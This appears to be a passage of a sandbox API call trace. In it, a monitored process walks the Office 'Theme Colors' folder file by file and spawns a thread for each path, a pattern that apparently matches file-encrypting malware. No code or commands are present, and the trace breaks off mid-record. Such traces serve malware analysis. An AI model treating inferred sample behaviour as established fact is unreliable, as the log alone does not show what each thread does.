[0090.800] wcscat (in: _Dest=0x1b7a5ff0, _Source="Executive.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" [0090.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0090.800] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0090.800] wcscmp (_String1="Flow.xml", _String2=".") returned 1 [0090.800] wcscmp (_String1="Flow.xml", _String2="..") returned 1 [0090.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7adac0 [0090.800] wcscpy (in: _Dest=0x1b7adac0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.801] wcscat (in: _Dest=0x1b7adac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.801] wcscat (in: _Dest=0x1b7adac0, _Source="Flow.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" [0090.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0090.801] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0090.801] wcscmp (_String1="Foundry.xml", _String2=".") returned 1 [0090.801] wcscmp (_String1="Foundry.xml", _String2="..") returned 1 [0090.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5440 [0090.801] wcscpy (in: _Dest=0x1b7a5440, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.801] wcscat (in: _Dest=0x1b7a5440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.801] wcscat (in: _Dest=0x1b7a5440, _Source="Foundry.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" [0090.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8 [0090.802] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0090.802] wcscmp (_String1="Grayscale.xml", _String2=".") returned 1 [0090.802] wcscmp (_String1="Grayscale.xml", _String2="..") returned 1 [0090.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5f40 [0090.802] wcscpy (in: _Dest=0x1b7a5f40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.802] wcscat (in: _Dest=0x1b7a5f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.802] wcscat (in: _Dest=0x1b7a5f40, _Source="Grayscale.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" [0090.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc [0090.803] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0090.803] wcscmp (_String1="Grid.xml", _String2=".") returned 1 [0090.803] wcscmp (_String1="Grid.xml", _String2="..") returned 1 [0090.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ada20 [0090.803] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.803] wcscat (in: _Dest=0x1b7ada20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.803] wcscat (in: _Dest=0x1b7ada20, _Source="Grid.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" [0090.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ada20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0 [0090.804] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0090.804] wcscmp (_String1="Hardcover.xml", _String2=".") returned 1 [0090.804] wcscmp (_String1="Hardcover.xml", _String2="..") returned 1 [0090.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5390 [0090.804] wcscpy (in: _Dest=0x1b7a5390, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.804] wcscat (in: _Dest=0x1b7a5390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.804] wcscat (in: _Dest=0x1b7a5390, _Source="Hardcover.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" [0090.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4 [0090.804] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0090.804] wcscmp (_String1="Horizon.xml", _String2=".") returned 1 [0090.805] wcscmp (_String1="Horizon.xml", _String2="..") returned 1 [0090.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5e90 [0090.805] wcscpy (in: _Dest=0x1b7a5e90, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.805] wcscat (in: _Dest=0x1b7a5e90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.805] wcscat (in: _Dest=0x1b7a5e90, _Source="Horizon.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" [0090.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8 [0090.805] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0090.805] wcscmp (_String1="Median.xml", _String2=".") returned 1 [0090.805] wcscmp (_String1="Median.xml", _String2="..") returned 1 [0090.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a52e0 [0090.805] wcscpy (in: _Dest=0x1b7a52e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.805] wcscat (in: _Dest=0x1b7a52e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.805] wcscat (in: _Dest=0x1b7a52e0, _Source="Median.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" [0090.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a52e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0090.806] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0090.806] wcscmp (_String1="Metro.xml", _String2=".") returned 1 [0090.806] wcscmp (_String1="Metro.xml", _String2="..") returned 1 [0090.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad980 [0090.806] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.806] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.806] wcscat (in: _Dest=0x1b7ad980, _Source="Metro.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" [0090.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0090.807] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0090.807] wcscmp (_String1="Module.xml", _String2=".") returned 1 [0090.807] wcscmp (_String1="Module.xml", _String2="..") returned 1 [0090.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5de0 [0090.807] wcscpy (in: _Dest=0x1b7a5de0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.807] wcscat (in: _Dest=0x1b7a5de0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.807] wcscat (in: _Dest=0x1b7a5de0, _Source="Module.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" [0090.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4 [0090.808] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0090.808] wcscmp (_String1="Newsprint.xml", _String2=".") returned 1 [0090.808] wcscmp (_String1="Newsprint.xml", _String2="..") returned 1 [0090.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5230 [0090.808] wcscpy (in: _Dest=0x1b7a5230, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.808] wcscat (in: _Dest=0x1b7a5230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.808] wcscat (in: _Dest=0x1b7a5230, _Source="Newsprint.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" [0090.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8 [0090.809] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0090.809] wcscmp (_String1="Opulent.xml", _String2=".") returned 1 [0090.809] wcscmp (_String1="Opulent.xml", _String2="..") returned 1 [0090.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5c80 [0090.809] wcscpy (in: _Dest=0x1b7a5c80, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.809] wcscat (in: _Dest=0x1b7a5c80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.809] wcscat (in: _Dest=0x1b7a5c80, _Source="Opulent.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" [0090.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc [0090.809] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0090.809] wcscmp (_String1="Oriel.xml", _String2=".") returned 1 [0090.810] wcscmp (_String1="Oriel.xml", _String2="..") returned 1 [0090.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad8e0 [0090.810] wcscpy (in: _Dest=0x1b7ad8e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.810] wcscat (in: _Dest=0x1b7ad8e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.810] wcscat (in: _Dest=0x1b7ad8e0, _Source="Oriel.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" [0090.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0090.810] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0090.810] wcscmp (_String1="Origin.xml", _String2=".") returned 1 [0090.810] wcscmp (_String1="Origin.xml", _String2="..") returned 1 [0090.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5180 [0090.810] wcscpy (in: _Dest=0x1b7a5180, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.811] wcscat (in: _Dest=0x1b7a5180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.811] wcscat (in: _Dest=0x1b7a5180, _Source="Origin.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" [0090.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04 [0090.811] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0090.811] wcscmp (_String1="Paper.xml", _String2=".") returned 1 [0090.811] wcscmp (_String1="Paper.xml", _String2="..") returned 1 [0090.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad020 [0090.811] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.811] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.811] wcscat (in: _Dest=0x1b7ad020, _Source="Paper.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" [0090.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08 [0090.812] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0090.812] wcscmp (_String1="Perspective.xml", _String2=".") returned 1 [0090.812] wcscmp (_String1="Perspective.xml", _String2="..") returned 1 [0090.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a5b20 [0090.812] wcscpy (in: _Dest=0x1b7a5b20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.812] wcscat (in: _Dest=0x1b7a5b20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.812] wcscat (in: _Dest=0x1b7a5b20, _Source="Perspective.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" [0090.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c [0090.813] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, 